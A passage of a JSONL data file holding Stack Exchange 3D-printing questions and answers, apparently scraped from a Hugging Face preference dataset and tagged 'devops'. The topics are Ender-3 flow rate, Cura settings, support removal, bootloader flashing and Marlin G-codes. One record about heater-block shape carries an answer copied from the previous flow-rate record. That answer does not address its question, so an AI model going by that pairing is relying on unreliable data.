paper as in\nthis example\n. With such a way to stash away the extra length, the upper limit for music length rises from a couple of seconds to several minutes easily even with such a \"bad\" encoding.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:07.995625"}
{"id": "hf_74d7e1846e64", "question": "<p>I am printing using an Ender3 Pro with eSUN PLA+ 215/45 and I am getting this issue on two corners, the other two corners look fine.</p>\n\n<p>Any idea on what can be causing this?</p>\n\n<p>The bad corners</p>\n\n<p><a href=\"https://i.stack.imgur.com/kr4VD.jpg\" rel=\"noreferrer\" title=\"Bad corners\"><img src=\"https://i.stack.imgur.com/kr4VD.jpg\" alt=\"Bad corners\" title=\"Bad corners\"></a></p>\n\n<p>The good corners</p>\n\n<p><a href=\"https://i.stack.imgur.com/Ras6V.jpg\" rel=\"noreferrer\" title=\"Good corners\"><img src=\"https://i.stack.imgur.com/Ras6V.jpg\" alt=\"Good corners\" title=\"Good corners\"></a></p>\n", "question_body": "", "answer": "Looks like it treated those corners a bit differently in the slice routine.  Normally something like this different treatment would be too slight to matter, but (probably due to the slight overhang?) it appears to have caused some layers to not adhere to the bottom ones and get pulled along to a different shape (red line in image).  (Be sure to check some general layer adhesion/overhang topics too.)\nI'd try increasing the infill there (and using honeycomb style infill) or even using a cad software to hollow the interior to essentially a desired infill before slicing if the current infill is important elsewhere.\nMoving slower, Increasing the temperature a bit, and/or extruding more material per line and layer if the layer adhesion is due to the slight overhang (although it looks pretty small).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:08.068336"}
{"id": "hf_2979ad351f68", "question": "<p>I'm using Cura to slice my prints. I've noticed that when printing the bottom layer (and also the top layer, if it's flat), it first prints three walls, then fills in the middle by moving back and forth in straight lines.</p>\n\n<p>I've noticed that for my parts, the walls look much nicer than the zig-zag pattern in the middle, and it also seems that the zig-zag part detaches from the bed quite easily, whereas the walls don't.</p>\n\n<p>My parts would look much better, and possibly also stick better to the bed, if I set the number of walls to 100 or so, so that the parts would be entirely filled in with walls. But then the parts would be completely solid, which isn't what I want. So what I want to achieve is that the bottom layer (and if possible also the top layer) are printed as if the part was composed entirely of walls, but the other layers are printed with three walls as normal. Is this possible in Cura?</p>\n", "question_body": "", "answer": "I found the answer myself just after posting - I'm posting it because it might be helpful to other Cura novices.\nThere is a setting for this, it's just that it's not shown by default. In print settings, you have to click on the three lines next to the search box, and select \"Show All Settings\". Then you can find a setting called \"Top/Bottom Pattern\". Setting this to \"concentric\" does what I described.\nActually this setting affects not just the top and bottom layers, but all layers that are part of the top and bottom shell. This seems like a good thing, but if you really want to affect\njust\nthe bottom layer, there's a setting \"Bottom Pattern Initial Layer\" that does this. There is also a setting under \"Experimental\" called \"Top Surface Skin Pattern\" that I think does the same for just the top layer.\nIn addition to \"Concentric\" there is also a \"Zig Zag\" option that's quite similar to the default \"Lines\" mode.\nYou can also change the visibility of settings in the preferences menu, to make these settings show up by default.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:08.091590"}
{"id": "hf_c25c4272b4a2", "question": "<p>I have made some prints with the Ultimaker 2+ and Ultimaker 2 Extended+. The prints are in PLA. For slicing, I use Cura and I check the support checkbox (haven't gone to advanced settings to adjust support yet). I can clearly see that there is a little space between the support and the print. The supports often look like long pillars and such. </p>\n\n<p>My question then is: \"What is the best technique for removing the support?\". Is it to use a knife, pliers or perhaps PLA-water? Is it possible to use PLA-water to remove support when printed with Ulitmaker 2+ or is that just the Ultimaker 3? What type of technique would give a good looking print?</p>\n\n<p>Ultimaker 3 has <a href=\"https://ultimaker.com/materials/pva\" rel=\"nofollow noreferrer\">support filament that's water-soluble</a>. Is there something similar for Ultimaker 2+? </p>\n", "question_body": "", "answer": "PLA and ABS are hard plastics. They are not water-soluble. If you print with these materials, just snap printed support materials off and clean the interface layer with a knife and sanding.\nTo remove the support, it is best to use strong tweezers or a pair of pliers to grip and then apply some force. Generally, I use needle pliers, but occasionally I also use snippets to cut up the support towers into more manageable chunks and keep the printed part safer. It can help to remove it in pieces and score the breaking lines.\nAs PLA is brittle, I prefer to break away from the object and not pull.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:08.115917"}
{"id": "hf_9ab19150296c", "question": "<p>I have a Printrboard rev. D which includes Allegro A4982 drivers. I would like to replace them, but it appears that newer TMC drivers all require several pins for proper operation.</p>\n\n<p><a href=\"https://i.stack.imgur.com/ZnRf5.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/ZnRf5.png\" alt=\"enter image description here\"></a></p>\n\n<p>How can I upgrade the drivers in the Printrboard rev. D?</p>\n", "question_body": "", "answer": "You can't. In fact, pretty much all boards with directly soldered drivers are not upgradable.\nI'd recommend to buy a proper, contemporary, customizable board like the SKR 1.3 for TMCs.\nThe Fysetc F6 would also work, but uses \"custom\" connectors and is still AVR based.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:08.212861"}
{"id": "hf_a6bfad80761b", "question": "<p>So while doing some research I stumbled upon a <a href=\"https://reprap.org/wiki/Glass_Nozzles#Step_1_Assemble_Parts_and_Tools\" rel=\"nofollow noreferrer\">wiki page on reprap</a> from a few years back where the user was creating a glass nozzle to replace the brass and PTFE assembly.<a href=\"https://reprap.org/wiki/Glass_Nozzles#Step_1_Assemble_Parts_and_Tools\" rel=\"nofollow noreferrer\">1</a></p>\n\n<p>Does anyone know the theory behind this? Glass is a great insulator so I could see how that would be beneficial for the heat break part but I can't see how it is appropriate for the nozzle as this is normally brass which is a good conductor.</p>\n\n<p>Surely the glass takes much more energy to heat up?</p>\n\n<p>On a side note I've seen similar projects using ceramic instead.</p>\n", "question_body": "", "answer": "Ceramic I can understand - very strong, great thermal range capability.  Glass not so much - you'd need some seriously careful annealing at least.\nIn either case the material is much harder than brass, or even steel, so you could presumably use tougher tools to unclog, etc. as needed.  If you're using materials loaded with wood or metallic particles, the glass/ceramic tip will be less likely to degrade than brass.\nBTW, glass being a thermal insulator means it may take\nlonger\nto heat up, but the\nenergy\nrequired is probably less . The specific heat of glass is on the order of .84 J/gm-K . Compare with brass at  0.38 , but keep in mind the rate at which brass will shed heat into the air vs. glass.  In either case the energy is tiny compared with the thermal mass of the hotend assembly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:08.281409"}
{"id": "hf_f8f24b623948", "question": "<p>I recently got a Creality Ender-3, and tried printing a few things for some tests. I’ve printed a cube and just printed a cylindrical tube today, and I notice each time, it adds this random line on the left and a sort of outline around the actual print. Neither of these were there in my Cura file, but they’re always printed and I’m not sure why?</p>\n\n<p><a href=\"https://i.stack.imgur.com/SyhGh.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/SyhGh.jpg\" alt=\"enter image description here\"></a></p>\n", "question_body": "", "answer": "The outline around the actual print is called\nSkirts\n. and the random line on the left is called\nintro line\nit's not necessary you need both Skirt and intro line. The intro line can disable from custom starting gcode settings\nA skirt is an outline that surrounds your part but does not touch the part.\nThe skirt is extruded on the print bed before starting to print your model. Skirts serve a useful purpose because they help\nprime your extruder and establish a smooth flow of filament\n.  Observing the skirt also allows you to\ndetect and adjust any leveling or adhesion issues\nbefore the actual model begins printing.\nYou can easily edit/disable(not recommended) those settings in Cura (or in any slicing software)\nIn you Cura navigate to\nBuild Plate Adhesion\nsettings\nSkirt line count:\nThe number of skirt lines printed around the model.\nSkirt distance:\nThe distance between the model and the skirt.\nSkirt minimum length:\nThe total length of the skirt. This will\noverride the skirt line count when the minimum length is not reached\nyet.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:08.304928"}
{"id": "hf_bcbb9ca37781", "question": "<p>According to the instructions I have read, you use the same output on the printers mainboard to control a 110&nbsp;V heated bed with a solid state relay, as you do to power the 12/24&nbsp;V heated bed that comes with the printer. </p>\n\n<p>The relay's datasheet states that its max input current is 25&nbsp;mA, obviously a 12/24&nbsp;V heated bed would draw a lot more than that.</p>\n\n<p>How does Marlin know that the heated bed pins are controlling a relay now instead of a bed directly, and therefore should limit their current output?</p>\n\n<p>In other words: I am worried that if I just drop in the relay, it will burn up since the board still thinks it needs to supply high current to the bed.</p>\n", "question_body": "", "answer": "There are two current parameters which you are looking at in your instructions for the solid state relay. The first one (the 25mA) is for the\ncontrol\ncircuit. This is how much amperage the device itself will draw when in operation. The second is for the\nload\ncircuit. This is the max amperage which can pass through the device.\nYour\ninstruction sheet\nshows the device having the ability to work at 10A, 15A, 20A, 25A, or 40A. These are different ratings for the same style of device. When you purchase the device, you'd need to specify which amperage rating you'd want your device to be at. They use the same spec sheet for all five flavors, because they are basically the same thing with the one exception, which is the amp rating.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:08.329622"}
{"id": "hf_7327203cfaf2", "question": "<p>I am trying to increase the flow rate on my Ender 3 from 100 to 108 % but every time I start a new print it reverts back to the old 100 % flow rate. I have clicked through the settings and pressed the \"store settings\" button but it still reverts back at the start of every print. I don't want to do this in my slicer settings as I run 18 Ender 3's so I want to be able to use the same G-code for each.</p>\n", "question_body": "", "answer": "Changing the\nflow rate\nduring a print can\nnot\nbe saved. There simply is no way. It is usually meant to be a fix with filament inconsistencies or to look for the right extrusion factor for a new filament batch.\nSlicer\nThe only way to consistently increase the flow rate would be  to alter the\n```\nflow rate\n```\nin your slicer to what you have found to work best for each machine, probably using separate profiles. This will up the rate for every subsequently sliced print. Note though that this 108 % increased extrusion is converted extrusion factors that are simply numerical and 1.08 times the normal in the g-code. These numerical values will be taken as 100 % by the printer - and since it requires extra work to slice the gode for different profiles it is not the optimal solution.\nAs you elaborated though, this is not a doable thing, so let's look further.\nSource hunt & Workaround\nSince only one printer is showing underextrusion while the others do not, it is time to check the hard- and firmware:\nunderextrusion can be caused by a defective extruder assembly or a damaged or blocked nozzle.\nif a machine has consistent underextrusion, its steps/mm in the firmware might be off. This could be altered and stored in the EEPROM. Since this could be a machine unique setting, here would be your point of attack to increase the extrusion of just one machine while using the identical G-code to all other machines.\nNote that the standard firmware of the Ender-3 in 2019 did not contain Thermal Runaway Protection (\nWhat is Thermal Runaway Protection?\n) and should be upgraded because of this anyway. You have to flash a bootloader too, so in the process of doing the upgradeability and safety-upgrade to all the machines, you could store the altered steps/mm to each machine individually so they get consistent output.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:08.352888"}
{"id": "hf_d86dc9b9b07e", "question": "<p>I understand the principle of why a heater block is used. Helping to reduce temperature variation as the filament is extruded using the heat capacity of the block.</p>\n\n<p>But I’m wondering why it takes the form it does? I imagine it is cuboid in shape just for convenience as it’s easy to machine?</p>\n\n<p>From a surface area to volume ratio a cuboid appears to be one of the worst shapes to use.</p>\n\n<p>Note:\nI am currently doing a project which requires me to increase the tool clearance of the nozzle of a 3D printer. Hence why I am exploring alternative print head configurations and heater block design trying to minimise the profile of the print head as much as possible.</p>\n", "question_body": "", "answer": "Changing the\nflow rate\nduring a print can\nnot\nbe saved. There simply is no way. It is usually meant to be a fix with filament inconsistencies or to look for the right extrusion factor for a new filament batch.\nSlicer\nThe only way to consistently increase the flow rate would be  to alter the\n```\nflow rate\n```\nin your slicer to what you have found to work best for each machine, probably using separate profiles. This will up the rate for every subsequently sliced print. Note though that this 108 % increased extrusion is converted extrusion factors that are simply numerical and 1.08 times the normal in the g-code. These numerical values will be taken as 100 % by the printer - and since it requires extra work to slice the gode for different profiles it is not the optimal solution.\nAs you elaborated though, this is not a doable thing, so let's look further.\nSource hunt & Workaround\nSince only one printer is showing underextrusion while the others do not, it is time to check the hard- and firmware:\nunderextrusion can be caused by a defective extruder assembly or a damaged or blocked nozzle.\nif a machine has consistent underextrusion, its steps/mm in the firmware might be off. This could be altered and stored in the EEPROM. Since this could be a machine unique setting, here would be your point of attack to increase the extrusion of just one machine while using the identical G-code to all other machines.\nNote that the standard firmware of the Ender-3 in 2019 did not contain Thermal Runaway Protection (\nWhat is Thermal Runaway Protection?\n) and should be upgraded because of this anyway. You have to flash a bootloader too, so in the process of doing the upgradeability and safety-upgrade to all the machines, you could store the altered steps/mm to each machine individually so they get consistent output.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:08.379343"}
{"id": "hf_957acf7e942a", "question": "<p>I just order myself an Ender 3 Pro which will come by the end of the week.\nBefore it arrives I want to be ready to flash a bootloader onto it.</p>\n\n<p>I was wondering what other options there are to flashing except using an Arduino?</p>\n\n<p>I have a bunch of ESP8266/ESP32 and a <a href=\"https://www.banggood.com/FT232RL-FTDI-USB-To-TTL-Serial-Converter-Adapter-Module-For-Arduino-p-917226.html?rmmds=myorder&amp;cur_warehouse=CN\" rel=\"nofollow noreferrer\">USB to TTL</a>. Would it be possible to use these somehow instead of an Arduino to flash a bootloader to the Ender 3?\nOr should I just go buy an Arduino?</p>\n", "question_body": "", "answer": "What you need to is called a ICSP or ISP:\nin-circuit serial programmer or in-system programmer\n, which excludes the USB to TTL device you own.\nI've never used an ESP8266 as ICSP but it seems there are\nsome resources out there\nreporting it is possible.\nIf you want to go the easiest way probably you want to buy an Arduino and follow the tons of tutorials out there, if you are looking to save some money then you might get around buying an ICSP like the very well known USBASP (just Google for that).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:08.403829"}
{"id": "hf_81e63eb82eb9", "question": "<p>I know that <code>M73 P19</code> means \"Set completion progress to 19%\", and I suspect that <code>M73 R42</code> means \"Set remaining time to 42 minutes\", but what is <code>M73 Q17 S43</code>? I can't find description of such syntax.</p>\n\n<p>The command is seen in <code>.gcode</code> files produced by PrusaSlicer.</p>\n", "question_body": "", "answer": "The tooltip for \"Supports remaining times\" under\n```\nPrinter Settings -> General -> Firmware\n```\nin PrusaSlicer quotes:\n```\n```\nEmit M73 P[percent printed] R[remaining time in minutes] at 1 minute intervals\ninto the G-code to let the firmware show accurate remaining time.\nAs of now only the Prusa i3 MK3 firmware recognizes M73.\nAlso the i3 MK3 firmware supports M73 Qxx Sxx for the silent mode.\n```\n```\nTherefore:\nP = Percentage printed, normal mode\nR = Remaining time, normal mode\nQ = Percentage printed, silent mode\nS = Remaining time, silent mode", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:08.427498"}
{"id": "hf_216d272e6e6e", "question": "<p>Is there a classification of method of control most (FDM) 3D printers fall under?</p>\n\n<p>From a 1986robotics textbook<sup>ref</sup> I was reading they defined three classes of control:</p>\n\n<p>1) Pick and place</p>\n\n<p>2) Point to point</p>\n\n<p>3) Continuous path</p>\n\n<p>However, both point to point and continuous path control are stated as requiring servo motors.</p>\n\n<p>I know that the majority of 3D printers are actuated with stepper motors as opposed to servo. Does the continuous path classification still apply? Or is there another classification?</p>\n\n<p>ref - <em><a href=\"https://www.springer.com/gp/book/9789401167703\" rel=\"nofollow noreferrer\">Todd, D.J.(Ed.):Fundamentals of Robot Technology: An Introduction to Industrial Robots, Teleoperators and Robot Vehicles - Kogan Page 1986</a></em></p>\n", "question_body": "", "answer": "The question is if robots classification terminology the textbook sketches applies to 3D printing?\nServos (closed loop) are used in robots to guarantee position (you don't want to accumulate an error after repetitive movement), most 3D printers use open loop steppers that are instructed on a point to point basis through G-code instructions, implying that the use of servos is not a \"requirement\" for point to point control.\nIt\nis\na requirement if you want to be absolutely sure that the position is reached. In 3D printing where the loads are generally low, this requirement is frequently dropped. But, there are printers that use servo control.\nNote that many CNC machines (operating at much higher loads than a 3D printer) even don't use servo's but (open loop) steppers, these are generally larger and more powerful (more torque).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:08.451056"}
{"id": "hf_3e1bcf906a21", "question": "<p>How can I correctly clean the lacquer from bed printer?</p>\n\n<p>I have used some ethylic alcohol (ethanol) to help cleaning</p>\n\n<p>But what is the best way to do it?</p>\n\n<p><img src=\"https://i.stack.imgur.com/56zTH.jpg\" alt=\"enter image description here\"></p>\n", "question_body": "", "answer": "The Ender 3 does not come with a lacquered surface at all.The bed should have a rough build surface that is a clone of the BuildTak build surface. It is\nintended\nto be rough and satin-gloss in its native state. I do not remember if there was a thin protective plastic foil on my Ender-3 bed on delivery, but if there was, it should have been removed during assembly.\nA BuildTak surface can be easily cleaned with isopropyl or ethyl alcohol of grease and fingerprints. The odd discoloration at the edges seems to be a layer of grease and dust, which can be easily cleaned away by soaking it in Isopropyl alcohol and then wiped with a microfiber cloth.\nIf the bed surface is destroyed by chipping holes into it, sanding it or otherwise ruining it (like melting plastic rap into it), you will need to replace it. Replacement surfaces come about 5 bucks on Amazon. Doing this, you might find\nHow to clean up my buildpate for a new build surface?\nhelpful.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:08.540204"}
{"id": "hf_9ac0c2d1fa0b", "question": "<p>I switched my Anet A8 over to a Bowden and it's printing great. Moving that weight off has enabled me to almost double the speed and resonance problems have vanished. </p>\n\n<p>My question is regarding after the print is done should I add a retraction code and back the filament out of the v6 or is it okay to leave it in there?</p>\n\n<p>My concern is that if I leave it in there, will it cause a clog or anything when I warm up the printer tomorrow to print something else? If that's not a something I should be concerned about let me know.</p>\n", "question_body": "", "answer": "It's okay to leave the filament in the hot end, as long as you let it cool down with the hot end cooling fan running.\nFrom comment:\nThat's not an issue, you can simply leave it in the hot end. The only \"end of print\" clogs usually occur when leaving the hot end hot for a while - allowing the filament to drip out - and then retract the filament without feeding it against the nozzle once more. That creates a plug that's larger than the filament diameter that might get stuck in the bowden tube", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:08.576087"}
{"id": "hf_c5adb13fa4e1", "question": "<p>From the <a href=\"http://marlinfw.org/docs/gcode/M502.html\" rel=\"nofollow noreferrer\"><code>M502</code> documentation page</a> can be read that <code>M502</code>:</p>\n\n<blockquote>\n  <p>Reset all configurable settings to their factory defaults.</p>\n</blockquote>\n\n<p><sub><em>Please note that this phrasing from the manual has been used in the question title!</em></sub></p>\n\n<blockquote>\n  <p>To also reset settings in EEPROM, follow with M500.</p>\n</blockquote>\n\n<p>Note that:</p>\n\n<blockquote>\n  <p>This command can be used even if EEPROM_SETTINGS is disabled.</p>\n</blockquote>\n\n<p>The question is what is the definition of <em>\"all configurable settings\"</em>?</p>\n\n<p>Are these the settings that are displayed with <a href=\"http://marlinfw.org/docs/gcode/M503.html\" rel=\"nofollow noreferrer\"><code>M503</code></a>, or are there hidden settings?</p>\n", "question_body": "", "answer": "What Marlin does when\n```\nM502\n```\nis called is defined in the\n```\nconfiguration_store.cpp\n```\nfile.\nIt resets:\nMax acceleration\nSteps per mm\nMax feedrate / speed\nMin segment time\nAcceleration (Normal, Retract, Travel)\nMin feedrate\nMin travel feedrate\nJerk settings\nJunction deviation\nHome and SCARA offsets\nHot end offsets\nFilament runout sensor distance\nTool change parameters (Swap length, extra prime, prime speed, retract speed, Park \npositions, Z raise)\nBacklash correction distances and smoothing parameters\nExtensible UI\nMagnetic parking extruder settings\nABL (fade height, stored points, nozzle offset, servo angles\nDelta calibration data (Height, Endstop offset, radius, rod length, segments per \nsecond, calibration radius, trim angle)\nDual / triple endstop adjustments\nPreheat parameters\nPID parameters\nself-defined thermistors\nLCD contrast\nPower loss recovery\nFirmware retraction\nFilament diameter (for volumetric extrusion)\nEndstops (if disabled)\nStepper drivers\nLinear advance parameters\nMotor currents (digipot)\nCNC coordinate system (if selected)\nSkew correction parameters\nAdvance pause filament change lengths", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:08.599885"}
{"id": "hf_cf9b2b13c6d7", "question": "<p>I'm new to 3D printing. I've made some projects before just fine, but this project is giving me problems.</p>\n\n<p>I 3D printed a trumpet mouthpiece, and the printer made supports inside the mouthpiece funnel. I can easily remove the exterior supports, but I don't know how to get to the supports inside. Does anyone know how I would do that?</p>\n\n<p><a href=\"https://i.stack.imgur.com/U6ys5.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/U6ys5.jpg\" alt=\"Here&#39;s one image.\"></a>\n<a href=\"https://i.stack.imgur.com/DJ9KP.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/DJ9KP.jpg\" alt=\"Here&#39;s another.\"></a></p>\n\n<p><a href=\"https://www.thingiverse.com/thing:1539908\" rel=\"nofollow noreferrer\">Here is the link to the model</a>\n<a href=\"https://i.stack.imgur.com/8R11d.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/8R11d.jpg\" alt=\"enter image description here\"></a></p>\n", "question_body": "", "answer": "Based on the photo provided, there's a strong possibility that you can print that model without internal supports. The angle of the walls falls within the limits of just about any FDM/FFF printer. An exception to this would be if you had a structure internal to the cone of the mouth piece which needed support.\nERROR: I neglected to note that your print is created \"laying down\" rather than vertically. This certainly complicates the printing/support problem. I typically print cylinders without internal support, although it does result in a small amount of droopies within the cylinder. Those are easily cleared away as required and much more easily than a full support forest.\nIs it impractical for you to consider to cut the model in half, print both segments, remove the supports more easily, then glue them together?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:08.647874"}
{"id": "hf_7e55364e42ec", "question": "<p>I'm designing a mount for a cylindrical speaker to attach to my bicycle. It will mount on the bottle cages. I've printed a few iterations with various infill settings (using PLA) and the weak point is always the bolts holding the entire mount to the bike. They can't handle the compression needed to secure it properly. I had thought about using an imbedded metal part to distribute the load, but it's not easily replicable and I want to make the design public and fairly accessible to others with the same speaker. I currently have PETG and ABS, would one of those perform better or should I order a specialty high strength polymer? </p>\n", "question_body": "", "answer": "Try heating op your PLA while mounting it. The PLA wil temporarily weaken and will become a bit moldable. PETG is a bit more brittle than PLA is my experience so I'd say stick to PLA. Otherwise you might try Arnitel ECO. I can try to find an amazon purchase link for you if you want. Anyway, it is more rubber like and stays flexible, it will never crack but depending on your design it might become a bit more wobbly. If you share a picture of your design or an STL i might be able to help you a bit better.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:08.708573"}
{"id": "hf_4ace01c74ead", "question": "<p>I want to make a project involving many small dots indents and I would like to know how I can calculate the smallest dot hole the Prusa i3 MK3S can extrude around on a layer using PLA. In other words, if I printer a mesh with circle shaped holes, how would I know the minimum diameter of the holes. Is it simply the same as the layer resolution (0.35&nbsp;mm), filament size (1.75&nbsp;mm), or is it something else?</p>\n", "question_body": "", "answer": "That depends on the ability how fast you get filament to stick to the build plate and whether the filament is loaded in the extruder. It also matters which size of nozzle you are using. The filament diameter has no influence other than smaller filament width (e.g. 1.75 mm) requires more length to extrude with respect to thicker filament (e.g 2.85 or 3.0 mm), and is therefore more precise to lay down (on the other side is the deviation on the filament diameter, i.e. manufacturing tolerance, larger than for thicker filament...).\nIf it does not stick you need more length, also, if the filament is not preloaded enough, the nozzle chamber needs to be filled first. Note that the printing of several small circles is a challenge, see e.g.\n\"How do I get circles on small interior holes to adhere to the bed?\"\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:08.732522"}
{"id": "hf_b8155d7aea7f", "question": "<p>I am printing minis and other very detailes stuff and I find that 0.04 mm layer height gives the best looking (smoothest) result. However it takes a long time, so I am looking for ways to speed it up. Is there any slicer which offers different layer heights for the outer perimiter? So you can print your model at 0.12 mm or so, but the outer layer gets printer first 3 times at 0.04 mm?</p>\n", "question_body": "", "answer": "In Ultimaker Cura, unless you print a single perimeter outline and add extra wall infill support you are not going to have different outer perimeter layer heights.\nHowever, Cura is able to reduce the printing time, E.g. you can have fine layers for the wall (all perimeters), and coarse layers for the infill. The option is called\n\"Infill Layer Thickness\"\n:\nInfill layer thickness\nSince the layer height of the infill is not important for visual quality, you can use thicker layers on the infill to reduce the print time. When adjusting this setting, always make sure that it is a multiple of the layer height, otherwise Ultimaker Cura will round it up to a multiple of the layer height. This means that you can, for example, print with an infill thickness of 0.2 mm while the layer height is 0.1 mm. The printer will first print the walls for two layers, and then it will print one thicker infill layer.\nNote that this is not a standard option, you need to put Cura in the \"Custom\" mode and filter/search for the option using the search bar. Below you'll find the upper right corner of the Cura Graphical User Interface where I searched for the option:\nNote that there are 2 options, one for regular infill of your product and one for infill of the support structures.\nAn other department at work is working together with a start-up university company to 3D print PEEK molds (from pellets) using 2 nozzles/extruders (to create resin injection parts), one has a large nozzle, the other has a fine nozzle. They use their own developed slicer software to use the fine nozzle for the outer contours and the coarse nozzle for infill and support. It could be that they developed this because it was not available in commercial slicers. For the 2 most common free slicers, Cura and Slic3r, there is no option to have just the outer perimeter of different height than the inner perimeters. If you think of it, it is also pretty difficult to execute, you either get:\n(which does not improve the quality of the product, it will make the outside more coarse) or you'll get gaps:\nNote that both upper images do not include infill, only 1 outer and 3 inner perimeters. The image below is probably what is possible with Cura, so all perimeters the same; green is infill now:", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:08.756906"}
{"id": "hf_44789baf68d3", "question": "<p><strong>Here is the context</strong><br/>\nI've got an old car for which I have a small plastic piece who is broken. As it's an old car and a very specific piece, I can't find it anymore. So I was thinking about 3D printing it.</p>\n\n<p>My problem is this piece is on the carburetor, so close to the engine. This means, it can heat a lot, close to 90-100&nbsp;°C.</p>\n\n<p><strong>My question</strong><br/>\nDo the pieces created with the common 3D printing techniques melt at 100&nbsp;°C? If yes, what kind of other 3D printing technique can I use?</p>\n\n<p>Here is the piece I want to recreate (sorry for the bad quality), the scale is in cm.\n<a href=\"https://i.stack.imgur.com/XBZ6Q.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/XBZ6Q.jpg\" alt=\"The piece\"></a></p>\n", "question_body": "", "answer": "Depending on the exact mechanical load and material used to print, you might get away with 100 °C.\nNext to the melting temperature required to print the material (which will always be substantially higher than the maximum useable temperature!), you probably also want to have a look at the glass temperature of your specific material. Around that temperature your material becomes soft (rubber like) and can deform permanently when cooling down again. Chances exist that under a considerable mechanical load, the part will deform at even lower temperatures.\nMaybe it would help to post a picture or describe the exact component you're trying to replicate. It might help in finding an alternative solution. (E.g. carving out of say PEEK to say anything.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:08.793422"}
